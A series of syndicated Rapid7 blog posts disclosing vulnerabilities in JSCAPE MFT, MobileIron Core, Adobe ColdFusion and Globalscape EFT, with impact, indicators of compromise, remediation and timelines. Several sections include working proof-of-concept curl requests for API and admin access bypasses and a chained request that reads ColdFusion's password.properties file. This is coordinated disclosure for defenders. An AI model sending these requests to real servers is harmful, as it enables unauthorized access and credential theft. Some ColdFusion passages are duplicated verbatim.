Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True

Mitigation Guidance

According to South River Technologies, the issues in this disclosure can be remediated by applying vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, these issues can be mitigated by configuring Titan SFTP or Titan MFT service to not run under the Local System account but to instead use a specific Windows or Linux user account that has limited privileges.

Timeline

  • September, 2023 – Rapid7 discovers the vulnerabilities
  • September 28, 2023 – Rapid7 finds a security contact and reports the issues
  • September 28, 2023 – Vendor acknowledges our report
  • September 30, 2023 – Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 – Discussed and agreed on a disclosure date of October 16, 2023
  • October 16, 2023 – This coordinated disclosure (including this blog and all vendor artifacts)

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/09/07/cve-2023-4528-java-deserialization-vulnerability-in-jscape-mft-fixed/

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

In August 2023, Rapid7 discovered a Java deserialization vulnerability in Redwood Software’s JSCAPE MFT secure managed file transfer product. The vulnerability was later assigned CVE-2023-4528. It can be exploited by sending an XML-encoded Java object to the Manager Service port, which, by default, is TCP port 10880 (over SSL). Successful exploitation can run arbitrary Java code as the root on Linux or the SYSTEM user on Windows. CVE-2023-4528 is trivial to exploit if an attacker has network-level access to the management port and the Manager Service is enabled (which is the default). We strongly recommend taking the server down (or disabling the Manager Service) until it can be patched.

Product description

CVE-2023-4528 affects all versions of JSCAPE MFT Server prior to version 2023.1.9 on all platforms (Windows, Linux, and MacOS). See the JSCAPE advisory for more information.

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-4528 has been addressed in JSCAPE version 2023.1.9 which is now available for customer deployment. JSCAPE customers have been notified and our support teams are available 24/7 to assist. Redwood appreciates the collaboration with Rapid7 and our cybersecurity partners. For more information, please see: https://www.jscape.com/blog/binary-management-service-patch-cve-2023-4528

Impact

Successful exploitation executes arbitrary Java code as the Linux root or Windows SYSTEM user. The most likely attack vector will run Java code such as java.lang.Runtime.getRuntime().exec("...shell command...");, but it’s also possible to create a Java-only payload to avoid executing another process (and therefore wouldn’t be as easily detectable).

Once an attacker executes code at that level, they have full control of the system. They can steal data, pivot to attack other network devices, remove evidence of the intrusion, establish persistence, and anything else they choose. Notably, there appear to be very few (if any) instances of JSCAPE MFT Server with their management ports exposed to the internet, which significantly reduces attackers’ ability to reach the affected service.

Indicators of compromise

Successful exploitation will be evident in log files. The Windows log file is C:\program files\MFT Server\var\log\server0.log, and Linux is /opt/mft_server/var/log/server0.log. Any warning or error messages that reference "Management connection" should be investigated — in particular, class casting exceptions such as:

08.22.2023 15:56:51 [WARNING] Management connection error: [10.0.0.77:10880 <-> 10.0.0.227:40085].
com.jscape.util.net.connection.Connection$ConnectionException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.net.connection.Connection$ConnectionException.wrap(Unknown Source)
	at com.jscape.util.net.connection.SyncMessageConnectionSyncRawBase.read(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.readNextMessage(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.run(Unknown Source)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.io.IOException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.at.b(Unknown Source)
	at com.jscape.util.az.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.read(Unknown Source)
	... 8 more
Caused by: java.lang.ClassCastException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	... 10 more

The server expects a Message class, and the exploit sends a different class such as java.lang.Runtime, which fails and creates an error message.

Note that a more cleverly written exploit may not be this obvious in log files.

Remediation

Rapid7 recommends that JSCAPE MFT Server customers immediately upgrade their instance(s) of MFT Server to version 2023.1.9 (upgrade documentation from Redwood Software here).

JSCAPE MFT customers should also close port 10880 to the public internet, ensuring that external/public access to the binary management service port (typically 10880) that is used by JSCAPE command line utilities is blocked. Settings for this port can be found in the administrative interface under Settings > Manager Service > Manager Service.

As a temporary mitigation before applying the patch, administrators can block access to the Management Service. On the configuration page (http://[server]:11880/settings/settings), either change the Host/IP option on the Manager Service page to 127.0.0.1. Alternatively, under the Access tab, set up an IP filter (or block all IP addresses). Rapid7 validated that both options work.

For more information, see Redwood Software’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-4528 with a vulnerability check expected to be available in the September 7 content release.

Timeline

  • August 22, 2023: Rapid7 discovers the vulnerability
  • August 23, 2023: Rapid7 reports the vulnerability to Redwood Software
  • August 24, 2023 – September 6, 2023: Rapid7 and Redwood Software discuss patching and disclosure timelines
  • September 7, 2023: This disclosure

CVE-2023-35082 – MobileIron Core Unauthenticated API Access Vulnerability

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/08/02/cve-2023-35082-mobileiron-core-unauthenticated-api-access-vulnerability/

Overview

CVE-2023-35082 - MobileIron Core Unauthenticated API Access Vulnerability

While investigating CVE-2023-35078, a critical API access vulnerability in Ivanti Endpoint Manager Mobile and MobileIron Core that was exploited in the wild, Rapid7 discovered a new vulnerability that allows unauthenticated attackers to access the API in older unsupported versions of MobileIron Core (11.2 and below). Rapid7 reported this vulnerability to Ivanti on July 26, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy. The new vulnerability has been assigned CVE-2023-35082.

Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain, Rapid7 would consider this new vulnerability a patch bypass for CVE-2023-35078 as it pertains to version 11.2 and below of the product. For additional context on CVE-2023-35078 and its impact, see Rapid7’s emergent threat response blog here and our AttackerKB assessment of the vulnerability.

Product Description

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, is a management platform that allows an organization to manage mobile devices such as phones and tablets; enforcing content and application policies on these devices. The product was previously called MobileIron Core, and was rebranded to Endpoint Manager Mobile after Ivanti acquired MobileIron in 2020.

Versions 11.8 and above of the product are Endpoint Manager Mobile. The version of the product Rapid7 determined was vulnerable to CVE-2023-35082 is MobileIron Core. Ivanti told Rapid7 that CVE-2023-35082 affects the following versions of the product:

  • MobileIron Core 11.2 and below

Ivanti’s advisory for CVE-2023-35082 is here.

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

We are grateful to Rapid7 for their discovery of an issue in MobileIron Core 11.2, a version which went out of support on March 15, 2022. The issue is also present in prior versions of the product which are out of support. We will not be providing any remediation for this vulnerability as the issue was incidentally resolved as a product bug in MobileIron Core 11.3 and had not previously been identified as a vulnerability. We are actively working with our customers to upgrade to the latest version of Ivanti Endpoint Manager Mobile (EPMM) or migrate to the cloud version of the product, Ivanti Neurons for MDM.

The security of our customers is Ivanti’s top priority, and we regularly provide updates to the supported versions of our solutions to protect customers from new and emerging threats. We are upholding our commitment to deliver and maintain secure products, and investing significant resources to ensure that all our solutions continue to meet our own high standards.

Impact

CVE-2023-35082 allows a remote unauthenticated attacker to access the API endpoints on an exposed management server. An attacker can use these API endpoints to perform a multitude of operations as outlined in the official API documents, including the ability to disclose personally identifiable information (PII) and perform modifications to the platform. Additionally, should a separate vulnerability be present in the API, an attacker can chain these vulnerabilities together. For example, CVE-2023-35081 could be chained with CVE-2023-35082 to allow an attacker write malicious webshell files to the appliance, which may then be executed by the attacker.

Exploitation

In our testing of CVE-2023-35078, we had access to MobileIron Core version 11.2.0.0-31. After reproducing the original vulnerability, we proceeded to apply Ivanti’s hotfix ivanti-security-update-1.0.0-1.noarch.rpm as per the Ivanti Knowledge Base article 000087042. We verified that the hotfix does successfully remediate CVE-2023-35078. However, we found a variation of the same attack that enables a remote attacker to access the API endpoints without authentication.

First we installed MobileIron Core 11.2.0.0-31 and verified we could leverage CVE-2023-35078 to access an API endpoint unauthenticated. Note the inclusion of the /aad/ segment in the URL path to exploit the original vulnerability, CVE-2023-35078.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

We then installed the vendor-supplied hotfix ivanti-security-update-1.0.0-1.noarch.rpm. After we rebooted the system, we verified the hotfix prevents the original exploit request shown above.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
<html>
<body>
        <h2>HTTP Status 403 - Access is denied</h2>
        <h3>You are unauthorized to access this page.</h3>
</body>
</html>

However, a variation of the above request is still able to access the API endpoints without authentication, as shown below. Note the use of /asfV3/ in the URL path in place of the original exploit’s use of /aad/.

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/asfV3/api/v2/ in the path with a HTTP response code of 200. Blocked exploitation attempts will show an HTTP response code of either 401 or 403. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285

Similarly, the log file /var/log/httpd/https-request_log will have an entry showing a request to a targeted API endpoint containing /mifs/asfV3/api/v2/ in the path. For example:

2023-07-28--15-24-51 192.168.86.34 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 68 "-" "curl/8.0.1"

Note that log entries containing /mifs/asfV3/api/v2/ in the path indicate exploitation of CVE-2023-35082, whilst log entries containing /mifs/aad/api/v2/ in the path indicate exploitation of CVE-2023-35078.

Remediation

MobileIron Core customers who are running unsupported versions of the product, including versions affected by CVE-2023-35082 (MobileIron Core 11.2 and below), should upgrade to a supported version as soon as possible.

Rapid7 Customers

Rapid7 customers will have unauthenticated detection of this vulnerability in August 2, 2023’s content release.

Timeline

  • July 26, 2023: Rapid7 sends disclosure information to Ivanti security.
  • July 28, 2023: Rapid7 contacts Ivanti via a second channel to confirm receipt of disclosure information. Ivanti confirms initial disclosure was not received. Rapid7 resends disclosure documents. Ivanti confirms receipt.
  • July 28, 2023: Ivanti confirms findings.
  • July 31, 2023: Ivanti confirms a security advisory will be published, requests a call with Rapid7 to address what they consider inaccuracies in our disclosure.
  • August 1, 2023: Rapid7 and Ivanti discuss the two vulnerabilities (CVE-2023-35078, CVE-2023-35082). Rapid7 agrees to update this disclosure with points of clarification to highlight Ivanti’s perspective. Rapid7 also agrees to clarify product terminology (i.e., that CVE-2023-35082 only affects MobileIron Core, not later versions of the product which were renamed Endpoint Manager Mobile).
  • August 2, 2023: This disclosure.

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

On July 11, 2023, Rapid7 and Adobe disclosed CVE-2023-29298, an access control bypass vulnerability affecting ColdFusion, which Rapid7 had reported to Adobe in April 2023. The vulnerability allows an attacker to bypass the product feature that restricts external access to the ColdFusion Administrator. Rapid7 and Adobe believed that CVE-2023-29298 was fixed upon publishing our coordinated disclosure (Rapid7 explicitly noted in our disclosure that we had not tested the patch Adobe released).

Upon review of the patch for CVE-2023-29298 as found in ColdFusion 2021 Update 8 (2021.0.08.330144), Rapid7 discovered that the patch released on July 11 does not successfully remediate the original issue and can be bypassed by an attacker. Adobe assigned CVE-2023-38205 to the patch bypass and has issued a complete fix as of July 19, 2023.

Rapid7 has observed exploitation of CVE-2023-29298 in the wild in multiple customer environments. Our team published a blog with observations and guidance for customers on July 17. We have validated that the new patch released July 19 fully remediates the issue.

Affected products

The following products are vulnerable to CVE-2023-38205:

  • Adobe ColdFusion 2023 Update 2 and earlier
  • Adobe ColdFusion 2021 Update 8 and earlier
  • Adobe ColdFusion 2018 Update 18 and earlier

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

Adobe provided the following statement to Rapid7:
“Adobe recommends updating ColdFusion installations to the latest release. Please see APSB23-47 for more information. Adobe is aware that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion.”

Analysis

The July 11 patch for CVE-2023-29298 modifies the vulnerable method IPFilterUtils.checkAdminAccess to use a new helper method Utils.canonicalizeURI to transform a URL into its canonical form before performing the access control, as shown below.

  private static final String[] RESTRICTED_INTERNAL_PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager", "/cfide/lockdown" };


  public static void checkAdminAccess(HttpServletRequest req) {
    String uri = Utils.getServletPath(req);
    uri = Utils.canonicalizeURI(uri.toLowerCase()); // <----
    for (String restrictedPath : RESTRICTED_INTERNAL_PATHS) {
      if (uri.startsWith(restrictedPath)) {
        String ip = req.getRemoteAddr();
        if (!isAllowedIP(ip))
          throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
        break;
      }
    }
  }


The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method Utils.collapseDotDots, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string “/hello/../world/” then the method Utils.collapseDotDots would correctly transform this string into “/world/” by deleting the character sequence “/hello/..” via a call to StringBuffer.delete as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method `Utils.collapseDotDots`, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string `“/hello/../world/”` then the method `Utils.collapseDotDots` would correctly transform this string into `“/world/”` by deleting the character sequence `“/hello/..”` via a call to `StringBuffer.delete` as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

While the above is correct, it exposes an issue in how ColdFusion handles ColdFusion Modules (CFM) and ColdFusion Component (CFC) endpoints when resolving a path to the endpoint. If an attacker accesses a URL path of “/hax/..CFIDE/wizards/common/utils.cfc” the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path (Note, there is no expected forward slash after the double dot and before CFIDE).

Upon processing this path, the method Utils.collapseDotDots will transform the path to “cfide/wizards/common/utils.cfc” by removing the double dot path segment and the preceding segment “/hax/..”. The path “cfide/wizards/common/utils.cfc” will not be matched against any of the restricted paths in RESTRICTED_INTERNAL_PATHS during IPFilterUtils.checkAdminAccess because it no longer begins with a leading forward slash. This bypasses the access control. However, the underlying Servlet will still process the path “/hax/..CFIDE/wizards/common/utils.cfc”, allowing the expected CFC endpoint to be called. The same is true for CFM endpoints.

Exploitation

The following was tested on Adobe ColdFusion 2021 Update 8 (2021.0.08.330144) running on Windows Server 2022 and configured with the Production and Secure profiles.

We can demonstrate the patch bypass by using the cURL command. For example when attempting to perform a remote method call wizardHash on the /CFIDE/wizards/common/utils.cfc endpoint, the following cURL command can be used — note the use of double dot notation as highlighted below:

Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows, on Linux you must escape the ampersand with a forward slash (\).

c:\> curl -ivk --path-as-is http://172.25.25.0:8500/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

We can see that both the access control and the patch for CVE-2023-29298 have been bypassed and the request completed successfully.

Remediation

Adobe released a fix for this vulnerability on July 19, 2023. The following versions remediate the issue, per Adobe’s advisory:

  • Adobe ColdFusion 2023 Update 3
  • Adobe ColdFusion 2021 Update 9
  • Adobe ColdFusion 2018 Update 19

Since Rapid7 has observed exploitation in the wild, we strongly recommend ColdFusion customers update to the latest versions as soon as possible, without waiting for a typical patch cycle to occur.

Timeline

  • April 11 through July 10, 2023: Rapid7 discloses CVE-2023-29298 to Adobe, Rapid7 and Adobe coordinate disclosure
  • July 11, 2023: Rapid7 and Adobe disclose CVE-2023-29298 publicly
  • July 13 – 15, 2023: Rapid7 detects exploitation of Adobe ColdFusion in the wild, determines attackers are leveraging an exploit chain that ends in remote code execution
  • July 17, 2023: Rapid7 warns customers of ColdFusion exploitation in the wild. Rapid7 discovers the patch for CVE-2023-29298 can be bypassed and informs Adobe. Adobe notifies Rapid7 of their intent to fix the patch bypass.
  • July 18, 2023: Further coordinationJuly 19, 2023: This disclosure.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Rapid7 discovered an access control bypass vulnerability affecting Adobe ColdFusion, in a product feature designed to restrict external access to the ColdFusion Administrator. Rapid7 reported this vulnerability to Adobe on April 11, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy.

The access control feature establishes an allow list of external IP addresses that are permitted to access the ColdFusion Administrator endpoints on a ColdFusion web server. When a request originates from an external IP address that is not present in the allow list, access to the requested resource is blocked. This access control forms part of the recommended configuration for production environments, as described during installation of the product:

“Production Profile + Secure Profile: Use this profile for a highly-secure production deployment that will allow a more fine-grained secure environment. For details, see the secure profile guide http://www.adobe.com/go/cf_secureprofile.”

Alternatively, an installation that is not configured with the Secure Profile may manually configure the access control post installation.
The vulnerability allows an attacker to access the administration endpoints by inserting an unexpected additional forward slash character in the requested URL.

Product description

Adobe ColdFusion is a commercial application server for web application development. ColdFusion supports a proprietary markup language for building web applications and integrating into many external components, such as databases and third party libraries.
This issue affects the following versions of Adobe ColdFusion:

  • Adobe ColdFusion 2023.
  • Adobe ColdFusion 2021 Update 6 and below.
  • Adobe ColdFusion 2018 Update 16 and below.

Impact

This vulnerability undermines the security guarantees offered by the ColdFusion Secure Profile. Using the access control bypass as described above, an attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. Note that access to these resources does not imply the attacker is authorized to use these resources, many of which will check for an authorized session before performing their operation. However the impact of being able to access these resources is as follows:

  • The attacker may log in to the ColdFusion Administrator if they have known credentials.
  • The attacker may bruteforce credentials.
  • The attacker may leak sensitive information.
    The attacker has increased the attack surface considerably and should a vulnerability be present in one of the many exposed CFM and CFC files, the attacker is able to target the vulnerable endpoint.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-29298 has been addressed in Adobe’s APSB23-40 Security Bulletin – CF2018 Update 17, CF2021 Update 7, and CF2023 GA build. Adobe greatly appreciates collaboration with the broader security community and our ongoing work with Rapid7. For more information, please see: https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

Analysis

The access control restricts access for external request to resources that are found within the following URL paths:

/CFIDE/restplay
/CFIDE/administrator
/CFIDE/adminapi
/CFIDE/main
/CFIDE/componentutils
/CFIDE/wizards
/CFIDE/servermanager```
Several Java servlets enforce the access control on their exposed resources:
- The `coldfusion.CfmServlet` which handles all requests to ColdFusion Module (CFM) endpoints.
- The `coldfusion.xml.rpc.CFCServlet` which handles requests to ColdFusion Markup Language (CFML) and ColdFusion Component (CFC) endpoints.
- The `coldfusion.rds.RdsGlobals` which handles requests for the Remote Development Service (RDS) feature.
The access control feature is implemented in the `coldfusion.filter.IPFilterUtils` class, and the method `checkAdminAccess` implements the logic for the access control, as shown below:
```public class IPFilterUtils {
private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" };
public static void checkAdminAccess(HttpServletRequest req) {
String uri = req.getRequestURI();
String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase();
for (String path : PATHS) {
if (uriToMatch.startsWith(path)) {
String ip = req.getRemoteAddr();
if (!isAllowedIP(ip))
throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
break;
}
}
}```
We can observe from the highlighted statement above that an HTTP request’s URL path is compared to a list of sensitive paths, and if found to begin with any of these sensitive paths, a further check is performed to see if the request’s external IP address is present in the allow list. If the request to a sensitive path is not from an allowed external IP address, an exception is raised which results in the request being denied.
As the attacker-controlled URL path is tested with a call to `java.lang.String.startsWith`, this access check can be bypassed by inserting an additional character at the start of the URL path, which will cause the `startsWith` check to fail but will still allow the underlying servlet to be able to resolve the requested resource. The character in question is an additional forward slash. For example, when requesting a resource that starts with the sensitive `/CFIDE/adminapi` path, the attacker can request this resource from the path `//CFIDE/adminapi`, which will bypass the access control while still being a valid path to the requested resource.
## Exploitation
The following was tested on Adobe ColdFusion 2021 Update 6 (2021.0.06.330132) running on Windows Server 2022 and configured with the Production and Secure profiles enabled and access to the ColdFusion Administrator limited to the localhost address 127.0.0.1.
We can demonstrate the vulnerability using the cURL command. For example when attempting to perform a remote method call wizardHash on the `/CFIDE/wizards/common/utils.cfc` endpoint, the following cURL command can be used:
*Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows. On Linux you must escape the ampersand with a forward slash (\).*

c:> curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

We can see in the screenshot below how this request fails due to the access control being in place:

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we issue the following cURL command, noting the double forward slash in the path:

c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

We can see that the access control has been bypassed and the request completed successfully.

Similarly, if we try to access the ColdFusion Administrator interface in a web browser from an external IP that is not allowed access, the following error is displayed.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we use an extra forward slash in the URL, we can now access the ColdFusion Administrator interface.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Chaining CVE-2023-29298 to CVE-2023-26360

The access control bypass in CVE-2023-29298 can also be leveraged to assist in the exploitation of an existing ColdFusion vulnerability. One example of this is CVE-2023-26360, which allows for both arbitrary file reading as well as remote code execution. In order to exploit CVE-2023-26360 to read an arbitrary file, an attacker must request a valid CFC endpoint on the target. As we have seen, there are multiple such endpoints available in the ColdFusion Administrator. Exploiting CVE-2023-26360 to read a file password.properties can be achieved with the following cURL command:

c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

However, if the access control is configured to block external requests to the ColdFusion Administrator, the request will fail.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Therefore we can chain CVE-2023-29298 to CVE-2023-26360 and bypass the access control in order to reach a CFC endpoint and trigger the vulnerability via the following:

c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

As we can see, we have now successfully exploited CVE-2023-26360 as a result of our ability to use CVE-2023-29298 as a primitive — and we can therefore read the contents of the password.properties file.

Remediation

Adobe released a fix for this vulnerability on July 11, 2023. According to Adobe, the following versions remediate the issue:

  • ColdFusion 2023 GA build
  • ColdFusion 2021 Update 7
  • ColdFusion 2018 Update 17

For more details please read the Adobe security advisory.

Note: Rapid7 reported an incomplete fix for this issue to Adobe on June 30, 2023 after testing the vendor-provided patch. We have not independently tested the latest fix.

Timeline

  • April 11, 2023: Rapid7 makes initial contact with Adobe Product Security Incident Response Team (PSIRT).
  • April 12, 2023: Rapid7 discloses the vulnerability details to Adobe PSIRT. Adobe confirms receipt and assigns internal tracking number VULN-24594.
  • April 20, 2023: Adobe requests additional details regarding the network setup used during testing. Rapid7 provides the requested details and Adobe confirms receipt of the details.
  • April 25, 2023: Rapid7 requests a status update. Adobe confirms they have reproduced the issue. Rapid7 requests a CVE identifier from Adobe.
  • May 2 – May 24, 2023: Rapid7 and Adobe discuss a coordinated disclosure date and agree to publish advisories on July 11, 2023. Adobe assigns CVE-2023-29298.
  • June 13 – June 30, 2023: Further coordination with Adobe; Adobe provides Rapid7 with the patch for the issue.
  • June 30, 2023: Rapid7 informs Adobe that the patch they’ve implemented is incomplete and can be bypassed.
  • July 6 – 7, 2023: Adobe tells Rapid7 they have implemented an improved fix and are confident that it mitigates the issue. Rapid7 is not able to allocate researchers to test the new fix in time for disclosure. Rapid7 and Adobe agree to move forward with disclosure on July 11 given Adobe’s confidence in their fix.
  • July 11, 2023: This disclosure.

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

